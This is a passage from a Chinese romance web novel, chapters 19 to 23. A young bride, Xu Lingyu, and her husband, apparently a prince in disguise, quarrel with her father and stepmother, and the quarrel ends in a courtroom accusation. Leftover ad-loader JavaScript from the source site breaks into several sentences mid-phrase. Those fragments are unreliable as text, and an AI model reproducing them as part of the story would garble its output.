己愿意嫁的。阿玉成亲,在桂花巷外摆了肉摊,路过的街坊乡亲,她都送上一块好猪肉,乡亲们都回赠一句吉祥贺词,写在红丝带上,小院里的玉兰花树上,系满了红丝带。” “阿茴,那是阿玉和她夫君亲手所系,想给你看的。” 于忠说着,接过孟茴的帕子,笨拙又匆忙地替她拭泪。 “她是个好孩子,我对不起她。”孟茴嗓音哽咽,泪如雨下。 于忠攥着帕子,展臂将孟茴紧紧抱入怀中:“阿茴,是我对不起你。” 孟茴抬眸,泪眼朦胧,央求:“能不能让我出去见她一面?就一次,只让我看到她便好。” 室内寂然半晌,于忠别开脸,轻叹:“阿茴,你知道的,我不能背叛王爷。” “可你十五年前就已经背叛了!你以为只要你忠心,他就会继续当你是心腹吗?!”迫切想见到许菱玉,孟茴一改平日里的娴静,情绪激动,眼中含着嘲弄。 于忠脊背登时僵住。 孟茴以为,提起他此生最后悔的事,他会恼羞成怒离开。 没想到,于忠只是背过身去,望着静静燃烧的烛光,继续说起许菱玉的事。 直到这时候,孟茴才知道,朝廷要为皇子们选正妃,阿玉也在待选之列。 知道她的阿玉聪慧,不仅嫁给如意郎君,还从许淳手里拿回她所有嫁妆。 “谢谢。”孟茴流了太多泪,嗓音有些哑。 “往后,我会多与你说说阿玉的事。”但他绝不会告诉孟茴,阿玉嫁的书生,是强逼着对方嫁的,且对方不是好拿捏的文弱书生,而是当朝二皇子。 他知道孟茴最牵挂的人便是阿玉,他不能让孟茴再多一些提心吊胆。 “我虽不能带你出山见她,却可以替你带一样东西。”于忠转过身来,将事先备好的红丝带递给她,“阿茴,你想对阿玉说些什么?” 孟茴微怔。 这一宿,她几乎没合眼,为许菱玉开心,也未她担心。 十余年,攒了多少想说的话,一条小小的红丝带,如何写得下? 天亮之后,于忠要走了。 孟茴拿着写好的红丝带,递给他。 桂花巷小院里,许菱玉坐在窗内,勾划着明日回门的礼单。 蓦地,她眼尾余光察觉到,有什么东西在院中飘落。 她侧眸望去,一条红丝带,已落到院中青石板上,被夜风卷动。 许是今夜的风有些大,高处没系紧的红丝带,不小心被吹下来了。 金钿顺着她目光往外看,也看见了:“小姐,我去捡起来。” “不用,我自己来。”许菱玉起身,将礼单交给金钿,“就照这上面置办吧,你去库房收拾。” 言毕,她走出门扇,步入中庭,躬身拾起被吹卷的红丝带。 细细一看,上面写着“平安如意”。 平安如意?许菱玉笑,在满树飘曳的祝福中,这算是顶简单的一句,甚至不像新婚贺词。 不过,很合她心意。 上面的字迹也娟秀好看,应当出自女子之手,但显然不是金钿的字。 清江县里,能写一手好字的女子,可不多见。 许菱玉一时想不起来,那日哪位女子是自己写的贺词。 但是谁不重要,心意最重要。 许菱玉收起红丝带,没挂回玉兰树上,而是拿回屋里,放在案头,拿镇纸压着,算是为书案添一件陈设,倒也雅致。 19. 玉璧 桌案上摆着灯烛,红丝带上的字迹看得更清楚些。 不知怎的,许菱玉瞧那字迹有些眼熟,似乎在哪里见过。 或许是表姐写的? 可她印象中,表姐的字没这样好看。 金钿进来禀话,说是回门礼已备好,请许菱玉过目。 许菱玉便没再盯着琢磨,而是随金钿去看她从库房取出来的几样东西。 都是瞧着大气,却不贵重的,不会让许淳他们占便宜,许菱玉很满意。 就是不知道,她打的那一巴掌,二太太的气消了没有? 许菱玉微微弯唇,见贾秀才进来,少不得叮嘱他几句,也同他说说许家的情况。 “成亲那日,你也见着了,我与二太太不甚和睦,明日他们若有意为难你,你莫要放在心上,让他们只管找我说话。”许菱玉俨然要把所有事都揽在身上。 秀才说过要照顾她,她却没想过遇事靠秀才去解决。 秀才尚无功名,在清江县举目无亲,又没给许家什么聘礼,许家的人恐怕都看不起他,靠他也解决不了什么问题。 顾清嘉听出她言外之意,轻问:“在阿玉眼中,我就这般没用么?遇到难事,需要自己的娘子出面维护?” 还挺有骨气,许菱玉笑望他:“你若能自己摆平,我还乐得轻松呢。” 目光不经意落在秀才浅笑的薄唇,许菱玉想起被他拒绝的事,笑意微滞,神情变得有些不自在。 她别开脸,先行转过身去,朝屏风后走:“时辰不早,安歇吧。” 秀才浅笑的俊颜,被她强行挥散,可话本子里的那几句不清不楚的描写,却让她心口发热。 纵然好奇,她也再不会主动的。 想想被拒绝的窘境,真是羞死人了! 许菱玉朝里卧着,不看贾秀才。 可身后窸窸窣窣的动静,却让她无法忽视。 她卷着自己的薄衾,往里挪了挪,尽量避免不该有的碰触。 暗暗咬着唇瓣,合起的眼睫微微颤动,羞赧又懊恼。 定是她有段时日没去听戏,没看瓦子里的英俊武生,样貌风仪出众的贾秀才,又成日里在她眼前晃,才屡屡勾动她凡心。 对,明日回门后,晚上她先不急着回来,去瓦子里听戏,欣赏武生的身条、拳脚。 见的好东西多了,自然就不会再惦记碗里这一口。 察觉到她的疏离,顾清嘉心内泛起涟漪。 明明昨夜相谈甚欢,今日相处也无异常,她这般情状,却是为何? 都说女人心,海底针,女儿家的心事,顾清嘉从未费心去猜。 就算是失去父兄,他多照拂一分的魏小姐,他不曾想去了解对方在想什么。 不知怎的,望着床里缩成一团装睡的许菱玉,顾清嘉忽而没了睡意。 他忍不住去想,他今日做了什么让许菱玉不高兴?还是许菱玉在为明日回门伤脑筋? 毕竟她当着众宾客的面,打了继母,恐怕明日她那位继母不会善了。 他虽只是名义上的夫君,但也不会任由她被人欺负。 顾清嘉不会宽慰人,没说什么宽慰她的话,他想了想,隔着薄衾,将大手搭在许菱玉肩头,轻轻摇了摇:“阿玉,我知道你没睡,你转过来,我有话想问你。” 他有话想问,她便要转过身去,好叫他问么? 她想亲近他的时候,怎不见他乖乖听话? 偏偏那样的事,许菱玉还无法义正言辞指责他不听话。 许菱玉不肯让他如愿,眼皮闭得更实,呼吸也刻意放轻,假装睡熟。 身后男子倒没再唤她,但也没拿走放在她肩头的手。 黑暗里,她感觉格外敏锐。 离她脊背更近处的床褥往下陷了陷,温热贴近,似乎是男子的胸膛。 “阿玉。”秀才低唤她。 嗓音并非从身后传来,而是耳朵上方。 许菱玉一惊,陡然睁眼,稍稍侧身,像是滚入他怀中。 帐内光线昏暗,她看不清秀才居高临下睥她的眼神,却清晰感受到搭在她肩头的手,握紧了些。 “你,你做什么?”怀中佳人气息如兰。 顾清嘉觉得,黑暗中定有看不见的恶鬼,才让他鬼迷心窍,窜起一股想亲她的冲动。 幸而,他惯常自持。 方才低下一寸,感受到佳人口唇馨香气息,猛地回神,松开扣在她肩头的手。 “阿玉,你我已是夫妻, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你是不是该与我说说,那块玉璧是你从哪里找来的?”顾清嘉问出心中压制许久的疑问,掩饰片刻失态。 他语气那样自然,听不出一丝情绪波动。 许菱玉疑惑不已,她以为秀才方才想亲近她,原来是她会错意么? 都说日有所思,夜有所梦,她对他已经垂涎到白日做梦的地步了? 不至于,纵然他生得俊,处处合她心意,她应当也不至于堕落至此。 “你问这个做什么?”许菱玉为自己的胡思乱想羞臊,没好气道,“你明知婚约是我胡编乱造的,是玉璧也好,是旁的信物也罢,都是假的,糊弄外人的。” “是,我知道玉璧并非你我订婚信物。”顾清嘉坐直身形,微微颔首,“只是,我看那玉璧不像凡品,还是想听你说说,往后若有外人问起,你我说法一致,也能圆上是不是?届时,便没人会知道婚事是假,哪怕皇上来,也无法问你躲避择选的欺君之罪。” 前头那些,许菱玉听着还有道理,没想到说到后面,秀才拿她当小孩哄。 “皇上日理万机,哪有空理会这细微小事?玉璧的来历,也没什么特别,你想知道,我告诉你便是,何须你这般危言耸听吓唬人?” 许菱玉轻哼一声,平躺着,仰面望他:“玉璧是我娘留下的,玉质虽贵重,应当也不是什么特别的东西,我小时候还拿着玩过,不小心摔坏了,断成两半。芹姨想找人修修,就收起来了,可一直没找到手艺够好的金石匠人。我也是偶然想起,才拿它出来用用,越是贵重,越能糊弄人。” “原来如此,阿玉当真聪慧过人。”顾清嘉轻赞。 看起来许菱玉也不知道玉璧的具体来历,顾清嘉便没再追问,以免让她察觉出,他对那玉璧格外重视。 许菱玉的阿娘孟氏,年纪应当比父皇小些,估计与宁王叔差不多大。 皇祖父恐怕都未必认得,更不会对这样的小辈怅然。 若玉璧的主人,是皇祖父的故人,那只会是更上一辈。 是许菱玉的外公吗? 可他若与皇祖父是旧识,让皇祖父到老仍记挂着,又怎会流落民间,泯然众人? 顾清嘉没有头绪,忽而想到,或许改日他可以试试宁王叔认不认得。 20. 回门 清早,天未亮,顾清嘉已然起身,在后院僻静处,练了半个时辰筋骨。 “公子,宁王密信。”长缨沉声奉上卷起的字条。 顾清嘉拿棉巾擦擦额角的汗,接过字条,展开扫一眼,便拿指腹搓碾成齑粉。 “告诉来人,我今日晚些时候过去。” 漱洗毕,收拾妥当,回到屋内,顾清嘉走进落地罩,便见许菱玉坐在妆台前梳妆,金钿正替她挽发。 今日回门,她发髻梳得繁复精细些,将她一张芙蓉面衬得极好,美得像一尊叫人指尖发痒的玉娃娃。 金钿拿起一支红珊瑚簪子,想替她簪上。 顾清嘉上前,轻道:“给我吧。” 许菱玉面朝菱花镜,瞥他一眼,继而冲金钿使使眼色。 金钿将簪子交给许菱玉,默然退出去。 顾清嘉则站到她身后,接过她手中红珊瑚簪子,略躬身,望着镜中佳人,找个合适的位置,插在她发间。 “好看。” 许菱玉笑:“言不由衷。” 她侧过身,站起来,却被秀才牵住袖口。 许菱玉垂眸,瞥见他的举动,细密的睫羽轻轻一颤,她顿住脚步,面露疑惑:“秀才,你有要紧事想说?” “阿玉,那块玉璧,可否借我再看看?明日便完璧归赵。”今日去见宁王叔,正是打探玉璧来历的好机会。 “又是玉璧,秀才,你似乎很看重我那块玉璧?为什么?你是不是从前在哪里见过?”许菱玉读过的话本子里,有各种巧合,此刻她不由得也想到一种可能,“该不会你家也有过这样一块玉璧吧?难不成我们真有婚约,我骗你还是歪打正着了?” 阿玉果然敏锐。 不过,她的天马行空,让顾清嘉忍不住失笑。 “贾家并没有这样好的东西。”顾清嘉摇头,他已想好借口,“你昨日不是说,芹姨曾经想要修好玉璧,没遇上手艺精湛的匠人么?我正好知道一个,想今日晚些带去给他看看,若能修好,也是你我的缘分。” 缘分?他究竟是想帮她修玉璧,还是察觉到她昨夜的不自在,想做些事讨好她,与她重修于好? 不得不说,这一席话,听得许菱玉心头暖意融融,几乎要被他哄好了。 “行,”许菱玉回转身,藏起唇畔掩饰不住的笑意。 可她一时欢喜,竟忘了人虽背对着他,顾清嘉却能从妆镜中窥见她唇畔笑意。 佳人螓首微垂,墨云般的发髻斜坠脑后,一小截后颈白皙细腻。 透过妆镜方能瞧见玉颜,她气色佳,白白净净的,看不出脂粉痕迹。 似乎只描了黛眉,两片小巧红润的唇平添艳色。 唇角无声扬起,乌压压半敛的睫羽下似乎也藏着笑。 端得是灵动娇艳,似一支将开未开的垂丝海棠。 是在为玉璧能修好而欢喜么? 他说那话,原不过是为拿到玉璧,而找的借口。 顾清嘉面色如常睥着她,心内却被她笑意感染,改了主意。 罢了,念在她爽快答应的份儿上,他费些心思,尽量替她修补便是。 许菱玉丝毫不曾察觉背后的视线,她拉开妆奁最底下的小屉子,取出帕子包着的玉璧,又找来一只大小合适的方形锦盒,装好,递给他:“拿去吧,说好明日还我,可不许弄丢了。” “娘子有命,莫敢不从。”秀才含笑应,伸手接下。 男子握手锦盒的大手,骨节修长,肌肉匀停,甚是好看。 让人不禁联想到赋诗、点茶、调琴,诸如此类,各样风雅事。 他若主动做那些风雅事取悦她,不知该是多赏心悦目的情景。 可惜,这书呆子,只知道劈柴、打水,干些粗活。 许菱玉目光恋恋不舍,从他握着锦盒,如竹似玉的指背移开,窃窃欢喜,又暗自懊悔。这呆子好不容易知道悄悄修玉璧,给她惊喜,她问这么清楚做什么?! 按清江县的规矩,回门这日,但凡讲究些礼节的人家,岳父、岳母都会在大门外等着,亲自迎接闺女和新姑爷上门。 可许菱玉一行,携礼来到许家门外,只见到许成琢一个半大少年,许淳和韦淑慧都不见人影。 许菱玉静静看着窘迫心虚的许成琢,立在石阶下,没再挪步。 她不进去,就让许成琢在大门口解释,传出什么不好听的,可怪不着她。 没曾想,许成琢抓耳挠腮,还没想好怎么开口,素来温和听话的贾秀才先开了口:“阿玉,县丞大人夫妇今日不在,我们回去吧,改日我再陪你回来。” 闻言,许菱玉愣了愣,随即轻笑出声。 她侧过脸,水灵灵的眼亮晶晶地望着顾清嘉:“秀才,你说得对,咱们走!” 话音刚落,她调转足尖,纤手搭在贾秀才臂弯,作势要走。 许成琢慌忙跑下门阶,展臂挡住许菱玉去路:“阿姐别走!爹在花厅等着呢,娘临时有事出去片刻,他答应我,很快回来,不是有意怠慢你和姐夫的。” 不露面就代表不欢迎,这许家她许菱玉还不稀罕回来呢! 许菱玉不想惯着他们的臭毛病,轻斥:“让开。” 下一瞬,贾秀才却忽而抬手,猝不及防覆上她搭在他臂弯处的手背,语气平和哄道:“阿玉,县丞大人腿脚抱恙,我们岂能坐视不理?附近便有家医馆,我去请位大夫来看看可好?” 站在大门后,透过门缝冷眼瞧着的许淳,终于听不下去,负气大步迈出门槛:“谁说我腿脚 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 抱恙了?贾秀才,我是你岳父,你却这样咒我,乃是忤逆不孝!” “小婿不敢。”贾秀才似乎并不惊诧,也没被许淳的态度吓着。 许菱玉压下对许淳的不屑与憎恶,脑子转得飞快,朗声道:“明明是许成琢说的,爹爹怪秀才做什么?纵然他贾家如今落魄了,他也是女儿的夫君,爹爹这般冤枉他,是希望女儿与他因此生出嫌隙,不能好好过日子么?” 她语速快,许成琢急得直冒汗,却插不上嘴。 许菱玉还越说越委屈:“爹故意藏在门口,等着让成琢给秀才难堪,您就是看不起秀才。” 女儿放着飞上枝头做凤凰的机会不要,偏偏嫁给一个一无是处的穷书生,许淳焉能不恨? 他对许菱玉是有愧疚,便把一腔怒气对准贾秀才。 哪知,两人才成亲短短几日,阿玉就这样维护一个外人。 许淳更气了。 可他们在门口起争执,已引得不少路人驻足围观,许淳总不能真让人看出他的心思,他丢不起这人。 再训斥贾秀才是不合适了,许淳转而盯着许成琢:“让你传个话都传不好,还不进来!” 言毕,转过身,走上台阶。 生怕许菱玉夫妇不跟上似的,侧过来,克制着恼怒,还算和软道:“阿玉别误会,都是一家人,爹既同意这门婚事,就不会看不起卿固,爹盼着你们回来呢,进屋慢慢说。” 成琢不懂事,都是随了韦淑慧。 好端端的,非说要自己亲自去挑选最鲜活的鱼,回来煎了,给他们翁婿下酒。 淑慧对阿玉尚且存着恨呢,会如此厚待贾卿固这个穷秀才,许淳不信。 可这段时日,他们之间争吵越来越多,他已有些倦了,不想阿玉他们回来看笑话,便随她去了。 不过是买条鱼,许久不见回来。 许淳想着想着,眼皮子直跳,止也止不住。 许菱玉没在意许淳在想什么,她微微垂首,盯着自己被他握过的手背,片刻失神。 秀才的手可真大,能轻易将她手背全然包裹,收入掌间。 他一个书生,指根竟也磨出了略感粗砺的薄茧,定是这几日粗活做多了的缘故。 今日来许家,他表现不错,回头免他些粗活养养,下回便不会硌着她了。 进到花厅,许菱玉捧起茶盏,没多想。 倒是顾清嘉,目光有意无意扫过她手背时,修长的指骨悄然蜷了蜷。 少女纤手柔弱无骨,肌肤细腻温润的触感仿佛还残留掌心。 她素来不肯委屈自己,随时亮出小爪子挠人,小老虎似的,实则柔软得像只糯糕团子。 从前,顾清嘉以为,能让他爱不释手的,唯有杀敌的长刀利箭。 21. 守护 许成琢想不通,明明他听从父亲安排,反而被父亲痛骂。 进屋后,他觉着在新姐夫面前没脸,便借故说去找找母亲,离开花厅。 厅内,许淳盯着贾秀才,上上下下打量一番,眉心紧拧。 知女莫若父,贾秀才生得丰神俊逸,仪表堂堂,难怪阿玉会喜欢。 且不说是孟茴生前定下的婚约,即便不是,恐怕阿玉也只想嫁这样的俊美郎君。 女儿护着贾秀才,他这会子也不好再接着说难听话,可他对贾秀才无话可说,便端出慈父姿态,躬身问许菱玉:“阿玉,你这几日过得好不好?若有什么委屈,告诉爹爹,爹好歹是个县丞,能为你撑腰。” “他待我很好。”许菱玉有心刺一刺许淳的心,说一句“比你当年对我阿娘好多了”,可当着贾秀才的面,她到底忍住没说,语气却有些不耐烦,“既然二太太不欢迎我们,我与秀才喝口茶便回去,就不在许家用午膳了。” “什么许家?这里也是你的家。”许淳听着不舒服,却无法对女儿发脾气。 大抵是他最近与韦淑慧不合,时常想起孟茴的缘故,望着女儿娇艳的容颜,只觉与当年的孟茴越来越像。 若非当年他夹在孟茴和父母之间难做,迫于孝道,执意为阿玉改姓。 就算孟茴那晚知道他在外面有了人,应当也不会说要与他和离,伤心欲绝地跑出去。 当年他并没有背弃孟茴,说要纳韦淑慧做小,也是没法子的事,他喝多酒认错人,碰了人家姑娘,韦氏腹中还有了他的骨肉,他能如何? 这些无奈,他同孟茴说过,也哀求过,可孟茴就是不肯原谅他。 告诉孟茴之前,他心内煎熬,曾告诉父母,他做了对不起孟茴的事。 那时候,只有父母宽慰他,母亲说他并非犯了什么不可饶恕的错误,且孟茴只生了个闺女,还不肯随许淳姓。万一韦氏怀的是男胎,好歹能为许家留个后。 是啊,那时他已是举人老爷,还当了县丞,娇妻美妾,仕途有望,春风得意,他想为许家留一脉香火,又有什么错呢? 可惜,孟茴终不能体谅他的难处,以致阴阳两隔。 想起旧事,徒添伤悲,许淳稳稳心神,语气软下来,语重心长道:“韦氏没有不欢迎你,她还特意亲自出去挑选河鲜,怕下人挑的不够好。阿玉,她毕竟也是你的长辈,你当着那么多人的面打了她的脸,总得允许她避一避,缓一缓,再见面不是?” 许菱玉没耐心听许淳和稀泥,气笑了,扬起下巴应:“你怎么不问问她说了什么好听的呢?” “她说,咒我和我短命的娘一样,夫妻离心,不得好死。”许菱玉盯着许淳震惊的眼神,话锋一转,“幸好,秀才和你不一样。” 她和许家几个,本就不是一路人,碍于亲缘,才绑在一起十余年。 如今,她羽翼丰满,再不必委屈自己分毫。 “秀才,我们走!”许菱玉起身。 稍稍捉起裙摆,大步迈出门槛。 她只顾着许淳的反应,却没注意到,顾清嘉听到那句毒咒时,骤然冷厉的眼神。 “阿玉……”身后传来许淳发颤的轻唤。 许菱玉以为自己可以不在乎许淳的感受,可听出他声音里的痛苦,她脚步仍是不受控地滞了滞。 下一瞬,有人轻轻握住她捉裙的手,宽厚的掌心温暖拢住她手背。 “阿玉。”顾清嘉轻唤。 想说他与许淳不一样,他不会与她离心,更不会让她步她阿娘后尘。 可理智回笼的一瞬,他抿直薄唇,将几欲出口的话,生生咽回去。 喉间有什么情绪,不上不下,发堵。 顾清嘉心口闷闷的。 可他须得明白,他与许菱玉之间,连结发同心尚不可能,何谈离心?他很快会回去京城,不可能守护许菱玉一生一世。 山高水长,非亲非故,他有何立场保她一生无虞? 许菱玉知道他的性子,大抵说不出什么哄人的话。 他能当着许淳的面,握住她的手,向许淳映证她方才说的话,于她而言,已经足够。 “我没事。”许菱玉眼睫微敛,轻轻摇头。 她鬓边步摇,垂着艳细的红珊瑚流苏坠子,原本衬得她容颜娇艳灼然。 此刻,她细密纤长的睫羽藏起眼底真实的情绪,叫人想起雨后潮湿的花,格外惹人怜惜。 顾清嘉长指收拢,将她小手结结实实握住。 许菱玉牵牵唇角,举步刚要往外走,忽而瞧见高澍带着两个差役快步跑进来。 “许叔,许叔,出事了!”高澍急着找许淳。 喊着喊着,一抬眸,先看到许菱玉和顾清嘉。 目光扫到顾清嘉那刻,他扬得高高的嗓音,急转直下,身板也不由地站直。 余光瞥见许淳从花厅出来,他也顾不上,先冲许菱玉道:“阿玉,二太太在公堂上向马县令告你不孝不悌,你,你和贾公子要不要去看看?” 许家离县衙不远,不多时,许菱玉一行被请入公堂。 平日里,许淳都站在马县令身边辅助。 而今日,他走到韦淑慧身侧,压低 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 声音怒斥:“你又要闹什么?家丑不可外扬,你要什么我补偿就是,何必闹得人尽皆知?!” 许菱玉成亲,几乎搬空了许家,韦淑慧气病了还要起来给她张罗婚仪。 到头来,得到什么?换来许菱玉的一巴掌,和许淳十余年如一日,要她委曲求全! 她偏不要,她受够了! “老爷也知道,你的好女儿不孝母亲,不悌手足,是家丑?”韦淑慧抛开素日的端庄娴雅,朗声道,“马大人,许菱玉掌掴我这个做母亲的,您也是亲眼所见,她自小打压成琢,就连成亲,也要半空许家,不给成琢留一点儿老婆本,您可派人详查。民妇状纸上所书,若有半句虚言,天打雷劈。” 公堂乃威严不可侵犯的重地,围观的百姓听到韦淑慧发重誓,便不由自主偏向她一些。 “韦太太说得没错,那天我看到许娘子打人了。” “真的?许娘子也太不应该了,就算是继母,也是长辈,养她十几年,养个白眼狼?” 有那家中不合的老人,更是感慨:“哼,现在的年轻人,几个懂得孝顺长辈?别说是继母,就是亲生的,也不见得就有多孝顺。打人更是不对,希望马大人秉公严惩。” 也有念许菱玉好的,听不下去,忍不住为她说话。 “那天我也看到了,可我觉得一个巴掌拍不响吧,焉知不是许娘子受了韦氏太多苛待,才会动手?” “我也觉得许娘子不是那样的人,我在桂花巷领过不要钱的好猪肉呢,许娘子亲手送的!” 外头众说纷纭,公堂里,许淳与韦淑慧也起了争执。 马县令一拍惊堂木:“肃静!” 转而看向许菱玉:“许菱玉,你有什么想说的?韦氏说的可否属实?” 顾清嘉端身而立,凝着许菱玉侧脸,眼中流露出他自己也未曾察觉的忧色。 “我可以帮你。”他声音很轻。 许菱玉不懂这话的分量,以为秀才要为她逞英雄。 “不用。”她微微摇头。 “大人,二太太所言,纯属胡言乱语,许菱玉所作所为,无愧天地。”她身形纤细,脊背挺拔,气势逼人。 在众人疑惑的眼神中,许菱玉跪到水磨石地砖上,郑重朝上首拜道:“大人,民妇许菱玉,状告县丞许淳及其二太太韦淑慧早年狼狈为奸,害死我生母孟氏,谋夺其嫁妆,请大人明察!” “杀母仇人,欲啖其肉,谈何不孝?”许菱玉被顾清嘉环住肩膀扶起,目光坚定扫过众人,在许淳面上定格,“至于不悌,许县丞确定,许成琢是我弟弟吗?” 22. 相信 一石激起千层浪。 “你这贱蹄子血口喷人!”韦淑慧面色发白,踉跄着冲过来,眼神凶狠来抓许菱玉。 顾清嘉松开许菱玉肩膀,上前一步,颀长的身形将许菱玉挡去大半:“马大人,有人藐视公堂,欲动私刑。” “放肆!”马县令盯着韦淑慧,心里冒火。 宁王爷定的期限,已然过半,他对药材失踪一案,还一点有用的东西也没查到,眼看着性命不保。 头发大把大把掉,夜不能寐。 偏偏韦淑慧还没事找事! 要不是韦淑慧非要来找许菱玉麻烦,许菱玉又怎么会给他闹出两桩新官司? 孟氏是被谁害死的,前任县令早已定案,眼下他没闲工夫办那吃力不讨好的旧案。 至于许成琢是不是许淳的种,又关他什么事?他们一家子,大可以关上门自个儿吵吵去。 马县令看看外头越来越多的围观百姓,只觉脑仁像被人拿着锤子在敲。 这么多双眼睛看着,他又不能公然不管。 再者,许淳平日里鞍前马后,好听话说了不少,于情于理,他的拉许淳一把。 把眼前最简单的一桩事弄清楚,便算给今日闹剧一个交代了。 马县令瞥一眼许淳,暗叹一声,转向许菱玉:“阿玉,你母亲的事,乃是陈年旧案,库房的卷宗里都有详细记录,你若不服,本官可以破例调出来给你看看。今日我们先说说成琢的事,这里是公堂,你切不可信口雌黄,成琢的事,你是不是有什么证据?” 许淳眼睛泛红,满含痛苦。 他知道阿玉对他心怀怨恨,可他无法还她一个活生生的娘亲,只能尽力补偿她。 这么多年,凡是能做的,他哪样没顺她的意? 本以为,不逼阿玉入京,让她嫁给心仪的郎君,他们父女之间能有所缓和。 岂料,阿玉对他的怨恨,变本加厉,甚至不惜当着众人的面,给他们许家编排出这样的丑事。 “阿玉。”许淳缓步走近,隔着顾清嘉,望着许菱玉,仿佛竭力平复之后,才道,“告诉马大人,你方才说的都是气话,随爹爹回去,韦氏出言不逊在先,我会让她向你赔罪。” 上首的马县令疑惑了。 外头围观的百姓也疑惑。 听许县丞的意思,韦氏状告许娘子不孝不悌,罪责其实在韦氏身上? “爹。”许菱玉应他一声,随即向上首福身施礼,“大人,民妇有证据。” “阿玉!”许淳掷地有声,嗓音发颤,“是不是要爹跪下来求你,你才解气?” 说着,他双膝颤抖,当真要朝许菱玉跪下。 他刚刚屈膝,便给顾清嘉稳稳扶住。 顾清嘉力气大,轻而易举将他扶正站直,不容拒绝。 “岳父大人莫要逼迫阿玉。”顾清嘉语气温和,劝道,“我相信阿玉不会无故冤枉人,不如等请来证据再说。” 随即,侧过身,望着许菱玉,温声道:“证据是什么?我去取。” 许菱玉痴痴望着他,心内暖暖,却也生出对可依赖的对象才会有的委屈。 在他挡住韦淑慧的时候,在他扶起许淳的时候,在他为她说话的时候,她一直这般望着他背影。 贾秀才身量高,肩宽腿长,但他家底薄,无权无势,许菱玉从未想过可以依靠他什么。 直到今日,望着他背影之时,她忽而觉得他那样高大,伟岸到可以为她挡去些许风雨。 她不怕事,什么都可以自己去面对,也习惯了自己解决。 可当有人站定地站在她身前,用宽厚有力的臂膀护着她,不问前因后果地信她说的话,给她的感觉,是这般踏实安宁。 她想要的简单安稳的日子,仿佛近在眼前。 “好,你回去找金钿,就说我要那幅从檀州带回来的画像。”许菱玉一点儿也没难受,她浅浅含笑,“麻烦你了。” 顾清嘉颔首,凝着她眉眼,没多说什么。 “大人,可否借马一用?”顾清嘉长身玉立,面朝马县令,不卑不亢,气度卓然。 “借,借。”马县令连连点头,“高澍,把你的马牵来给他。” 等高澍请顾清嘉出去,马县令望着顾清嘉背影,仍有些恍惚。 他方才是怎么了?对方明明就是个寻常书生,他怎么在对方身上感受到,宁王爷身上才有的说一不二的压迫感? 马县令想了想,应当是对方相貌不俗,气质出尘,这样的人通常会有大造化,封侯拜相也未可知。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 定是对方身上异于常人的气质,让他下意识听从。 马县令决定顺从直觉,对贾秀才客气些,眼下对他来说举手之劳,以后对方发达了,可能还有回报他的时候。 马蹄声渐远,听起来便知其骑术娴熟。 许菱玉听着外头的动静,忍不住去想贾家败落前,秀才过的是怎样的日子? 寻常人家养不起马,或是养牛,或是养骡子拉车。 秀才能熟练骑马,说明贾家原先是能养得起马的人家,他能时常练习。 许菱玉忽而想起长缨的名字,听说是秀才给起的,这可不像是书香门第会起的名。 该不会,他们贾家还有习过武的吧? 秀才看起来不像,其他人许菱玉暂时也见不着,便不再多琢磨这些。 马大人嫌麻烦,不愿与许淳交恶,不愿翻案,是许菱玉意料之中的事。 她特意提出两桩事,就是想着,马县令总不好两桩都不办。 本来她与韦氏没什么关系,谈不上恨不恨,所以拿到画像之后,她只默默收着,什么也没做。 谁让韦氏想不开,非要来惹她呢? 那就顺手做点什么,好叫他们知道,成亲时,她从许家拿走的一切,都是她名正言顺应得的。 骑马确实快很多,没等多久,许菱玉便再度听到外头的马蹄声,迅疾,越来越近。 她转过身,看到围观者自动分开的通道那端,秀才长腿一迈,从马背上跃下,倜傥潇洒。 是与他平日里斯文儒俊的模样,全然不同的姿态。 许是刚刚长街纵马,他英隽的眼中,多了几分奕奕神采,望之越发英伟不凡。 “谢谢。”许菱玉从他手中接过系着绳结的画卷,没着急展开,从袖中抽出一方干净的绢帕,不着痕迹塞到他手里,“擦擦吧。” 随即,她转过身,款步上前,亲手将画卷交给马县令:“大人不妨看看这个。” 韦淑慧不知证物是什么的时候,焦急不已。 偏偏她哥今日没在衙门,她没有帮手。 这会子看到许菱玉拿来一张不知道什么破画,韦淑慧心弦陡然松下来,眼底透出绝处逢生的笑。 还以为小蹄子真有什么证据呢,白担心了。 23. 娘子 马县令接过画卷,将细细绳结拉散。 正欲打开,外头又一阵马蹄声。 马县令疑惑地朝外望去,以为还有什么证据送来。 却见来人是衙门里的韦捕头,骑着衙门配的大马,背后还载着许成琢。 韦捕头乃是许成琢的舅舅,韦淑慧的亲哥。 任谁都看得出,是有人悄悄给韦捕头通风报信,他特意赶回来帮忙的。 “大人,莫要听她一个小丫头胡言,当年她都不到三岁,知道什么?我们长辈才清楚。”韦捕头朝着马县令抱拳,又瞪着许淳,“许大人,你摸摸自己的良心,成琢到底是怎么来的?你竟怀疑我妹妹!” 许成琢再一次觉得,他是家里最懂事,最无辜的那个。 娘惹不起却偏要惹阿姐,爹身为一家之主,哪个都管不住。 他不惹事,老老实实在家待着,不来衙门掺和,以免夹在阿娘和阿姐中间难做。 没想到,人在家中坐,祸从天上来。 阿姐为打败阿娘,竟然当着所有人的面,说他不是爹的亲生儿子! 离谱的是,这样荒谬的气话,马大人还当堂审起来了。 听舅舅说,阿姐手里还有证物。 许成琢跟着舅舅过来,就想当面问许菱玉一句话。 “阿姐,你就这么讨厌我吗?”许成琢谁也不管,径直走到许菱玉面前,双眼泪光亮晶晶地望着她,“家中钱财,你若喜欢,可以都拿走,但你怎么可以不认我这个弟弟?长大以后,我没再和娘一起欺负你。” 闻言,顾清嘉负于身后的手,指腹稍稍使力,捻了捻。 许菱玉小时候经常被他们欺负吗?许淳是个死的吗? 听到许成琢的话,许菱玉心中并无丝毫动容,甚至想笑着嘲讽一句:“你是不再欺负我吗?你是小时候被我打怕了,长大识时务,不敢造次。” 可惜,眼下她们身处县衙公堂,多少双眼睛看着呢。 许菱玉清楚,常人皆容易对柔弱的女子心生怜悯,对于牙尖嘴利的女子,往往苛责,哪怕她才是曾被欺负的那个。 是以,许菱玉睫羽半敛,掩起眸中情绪,攥着帕子,别开脸,作拭泪状。 